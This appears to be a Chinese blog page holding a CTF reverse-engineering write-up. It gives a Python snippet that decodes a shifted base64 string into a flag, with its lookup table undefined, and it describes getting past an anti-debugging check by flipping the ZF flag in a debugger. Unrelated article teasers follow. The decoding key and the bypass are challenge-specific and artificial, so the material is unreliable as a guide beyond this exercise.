enc = "TqK1YUSaQryEMHaLMnWhYU+Fe0WPenqhRXahfkV6WE2fa3iRW197Za62eEaD"
index = []
number = [1,2,3,4]
for i in range(len(enc)):
    tmp = table.index(enc[i]) - number[i % 4]
    if tmp >= 0:
        index.append(tmp)
    else:
        index.append(tmp + 64)
print(index)
for i in range(0,len(index),4):
    a = index[i]
    b = index[i + 1]
    c = index[i + 2]
    d = index[i + 3]
    sum = a << 18 | b << 12 | c << 6 | d
    for j in range(3):
        print(chr((sum >> ((2 - j) * 8)) & 0xff),end="")

[Week3] Dont-debug-me:

考察反调试

这里才是输出flag的地方

这里不输入1,且不在调试则可以输出flag。但是运行完会直接退出,所以进行调试,并修改ZF标志位进行跳转,让程序输出flag即可。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2177704.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

10分钟,AI如何精准写出社会热点文?一篇爆款文章的背后你敢信?

本文背景 很多小伙伴们反馈&#xff0c;用AI输出的文章经常被平台判定为“疑似AI创作”&#xff0c;一但被判定&#xff0c;系统就不会给推荐流量。 到底在这个充斥着AI的大环境下&#xff0c;应该怎样完成AI文章的写作呢&#xff1f;特别是做流量主项目的小伙伴们&#xff0c;…

golang web笔记-3.响应ResponseWriter

简介 从服务器向客户端返回响应需要使用 ResponseWriter&#xff0c;ResponseWriter是一个接口&#xff0c;handler用它来返回响应。 ResponseWriter常用方法 Write&#xff1a;接收一个byte切片作为参数&#xff0c;然后把它写入到响应的body中。如果Write被调用时&a…

linux conda 安装 配置

linux conda 安装 配置 1. 下载2. 安装3. 配置&#xff08;针对非root用户&#xff0c;当前用户&#xff09; 1. 下载 网址&#xff1a;https://docs.anaconda.com/miniconda/ 下载一个.sh文件 2. 安装 命令&#xff1a;sh Miniconda3-latest-Linux-x86_64.sh 按照提示回车/…

【数据结构】什么是平衡二叉搜索树(AVL树)?

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 目录 &#x1f4cc;AVL树的概念 &#x1f4cc;AVL树的操作 &#x1f38f;AVL树的插入操作 ↩️右单旋 ↩️↪️右左双旋 ↪️↩️左右双旋 ↪️左单旋 &#x1f38f;AVL树的删…

利用AI十分钟制作视频,暴涨4.7w粉丝,小白也能月入过万

今天给大家展示的项目是&#xff1a;AI动漫人物封面。 先来看一下教程方的广告&#xff1a; 蓝海赛道、AI翻唱 一周内获得了4.7万个粉丝&#xff0c;小白也可以轻松上手&#xff0c;月入过万手拿把掐。 现在利用AI创作 动漫 IP 翻唱音乐在全网悄然增多&#xff0c;流量也非常…

女性向游戏的新战场:AI陪伴系统

在数字化时代&#xff0c;游戏不再只是简单的娱乐产品&#xff0c;而是成为了人们情感寄托的重要载体。特别是对于女性玩家来说&#xff0c;游戏不仅仅是一种消遣&#xff0c;更是一种情感体验。近年来&#xff0c;女性向游戏市场逐渐崛起&#xff0c;其中“陪伴系统”成为了一…

【LeetCode】动态规划—931. 下降路径最小和(附完整Python/C++代码)

动态规划—931. 下降路径最小和 前言题目描述基本思路1. 问题定义2. 理解问题和递推关系3. 解决方法3.1 动态规划方法3.2 空间优化的动态规划 4. 进一步优化4.1 空间复杂度优化 5. 小总结 代码实现Python3代码实现Python 代码解释C代码实现C 代码解释 总结: 前言 在算法的学习…

985官宣:19名本科生,获国自然项目!

9月24日&#xff0c;据复旦大学教务处消息&#xff0c;国家自然科学基金委公布了2024年国家自然科学基金青年学生基础研究项目&#xff08;本科生&#xff09;立项情况&#xff0c;复旦大学共有19名基础学科专业本科生获得国家自然科学基金委资助。 此前&#xff0c;据武汉大学…

VBA技术资料MF207:右键录入指定范围数据

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

比较器(算法中排序)

方式一&#xff1a;不常用 让实体类实现Comparable接口&#xff0c;泛型是需要比较的类型&#xff0c;同时重写compareTo方法 缺点&#xff1a;对代码有侵入性。 public class Student implements Comparable<Student> {private String name;private double score;// …

【YOLOv10改进[SPPF]】使用 SPPFCSPC替换SPPF模块 + 含全部代码和详细修改方式

本文将进行在YOLOv10中使用SPPFCSPC魔改v10 的实践,文中含全部代码、详细修改方式。助您轻松理解改进的方法。 改进前和改进后的参数对比如下: 目录 一 SPPFCSPC 二 使用SPPFCSPC魔改v10的实践 1 整体修改 ① 添加SPPCSPC.py文件 ② 修改ultralytics/nn/tasks.py文件

java中使用selenium自动化测试

一、查看你Chrome浏览器的版本 在浏览器的地址栏&#xff0c;输入chrome://version/&#xff0c;回车后即可查看到对应版本 二、找到对应的chromedriver版本 2.1 114及之前的版本可以通过点击下载chromedriver,根据版本号&#xff08;只看大版本&#xff09;下载对应文件 2.…

运维监控平台:监控易如何实现运维高效管理与大规模监控

在快速变化的数字时代&#xff0c;运维团队正面临着前所未有的挑战。随着企业规模的扩大和IT架构的复杂化&#xff0c;运维团队需要管理的设备数量激增&#xff0c;对系统的稳定性和扩展性提出了更高要求。在这样的背景下&#xff0c;如何高效地进行设备监控&#xff0c;确保系…

pdf分割成多个文件怎么弄?这6个技巧教您学会pdf分割,一看就会!

pdf分割成多个文件怎么弄pdf文件分割成多个文件的需求在办公场景中非常常见。您是否也曾为处理含有多个页面的pdf文件而感到烦恼&#xff1f;不用担心&#xff01;在这篇文章中&#xff0c;小编将和大家分享六个简单易懂的技巧&#xff0c;教您如何轻松将pdf拆分成一页一页的单…

本省第一所!新大学,揭牌!

9月26日&#xff0c;海南艺术职业学院举行揭牌仪式&#xff0c;标志着海南省第一所公办艺术类高等职业院校正式揭牌成立。海南省旅文厅党组成员、副厅长刘成出席揭牌仪式&#xff0c;省教育厅党组成员、副厅长邢孔政在揭牌仪式上宣读省人民政府同意设立海南艺术职业学院的批复。…

【操作系统】三、内存管理:1.存储器管理(程序装入与链接;逻辑地址与物理地址空间;内存保护;交换与覆盖;分页管理方式;分段管理方式;段页式管理方式)

三、内存管理 文章目录 三、内存管理内存基础知识1.分类1.1按在计算机中的作用&#xff08;层次&#xff09;1.2按存储介质1.3按存取方式1.4按信息的可更改性1.5按信息的可保存性 2.存储器的性能指标 六、存储器管理&#xff08;内存管理基础&#xff09;0.内存保护1.程序到程序…

4--苍穹外码-SpringBoot项目中分类管理 详解

前言 1--苍穹外卖-SpringBoot项目介绍及环境搭建 详解-CSDN博客 2--苍穹外卖-SpringBoot项目中员工管理 详解&#xff08;一&#xff09;-CSDN博客 3--苍穹外卖-SpringBoot项目中员工管理 详解&#xff08;二&#xff09;-CSDN博客 4--苍穹外码-SpringBoot项目中分类管理 详…

webGL入门(四)绘制一个三角形

代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><scri…

DBMS-2.3 数据库设计(3)——数据库规范化设计实现(3NF、BCNF模式分解)

本文章的素材与知识来自李国良老师和王珊珊老师。 关系模式分解的定义 一.关系模式分解的定义 1.定义 2.理解 &#xff08;1&#xff09;关系不丢失&#xff1a;所有子关系的属性集加起来 原关系的属性集。即分解中不能把某个属性给丢了。 &#xff08;2&#xff09;模式…